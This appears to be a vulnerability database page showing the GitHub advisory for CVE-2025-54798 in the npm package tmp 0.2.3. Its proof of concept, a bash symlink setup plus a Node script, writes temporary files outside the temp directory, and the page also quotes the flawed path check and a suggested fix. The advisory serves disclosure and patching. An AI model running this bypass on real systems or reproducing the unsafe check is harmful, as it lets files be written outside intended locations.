ghsa-52f5-9888-hmc6
Vulnerability from github
Summary
tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* dir: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
```
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the
tmpDirthat points to a directory outside of it ```bash mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir ```
-
check the folder is empty:
bash ls -lha $HOME/mydir1 | grep "tmp-" -
run the poc
bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1". -
the temporary file is created under
$HOME/mydir1(outside thetmpDir):bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id] -
main.js```js // npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name);
try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) }
try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) }
try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) } ```
A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.
js
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Impact
Arbitrary temporary file / directory write via symlink
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.3"
},
"package": {
"ecosystem": "npm",
"name": "tmp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54798"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-06T17:06:04Z",
"nvd_published_at": "2025-08-07T01:15:26Z",
"severity": "LOW"
},
"details": "### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system\u0027s tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system\u0027s default temporary directory.\n absolute paths are fine as long as they point to a location under the system\u0027s default temporary directory.\n Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n if (name.startsWith(tmpDir)) {\n return path.resolve(name);\n } else {\n return path.resolve(path.join(tmpDir, name));\n }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it\u0027s possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n if (option === \u0027name\u0027) {\n // assert that name is not absolute and does not contain a path\n if (path.isAbsolute(name))\n throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n let basename = path.basename(name);\n if (basename === \u0027..\u0027 || basename === \u0027.\u0027 || basename !== name)\n throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n }\n else { // if (option === \u0027dir\u0027 || option === \u0027template\u0027) {\n // assert that dir or template are relative to tmpDir\n if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n }\n let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n if (!resolvedPath.startsWith(tmpDir))\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open \u0027/tmp/mydir1/tmp-[random-id]\u0027\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require(\u0027tmp\u0027);\n\nconst tmpobj = tmp.fileSync({ \u0027dir\u0027: \u0027evil-dir\u0027});\nconsole.log(\u0027File: \u0027, tmpobj.name);\n\ntry {\n tmp.fileSync({ \u0027dir\u0027: \u0027mydir1\u0027});\n} catch (err) {\n console.log(\u0027test 1:\u0027, err.message)\n}\n\ntry {\n tmp.fileSync({ \u0027dir\u0027: \u0027/foo\u0027});\n} catch (err) {\n console.log(\u0027test 2:\u0027, err.message)\n}\n\ntry {\n const fs = require(\u0027node:fs\u0027);\n const resolved = fs.realpathSync(\u0027/tmp/evil-dir\u0027);\n tmp.fileSync({ \u0027dir\u0027: resolved});\n} catch (err) {\n console.log(\u0027test 3:\u0027, err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n let resolvedPath;\n if (name.startsWith(tmpDir)) {\n resolvedPath = path.resolve(name);\n } else {\n resolvedPath = path.resolve(path.join(tmpDir, name));\n }\n return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink",
"id": "GHSA-52f5-9888-hmc6",
"modified": "2025-11-03T21:34:20Z",
"published": "2025-08-06T17:06:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54798"
},
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/issues/207"
},
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
},
{
"type": "PACKAGE",
"url": "https://github.com/raszi/node-tmp"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.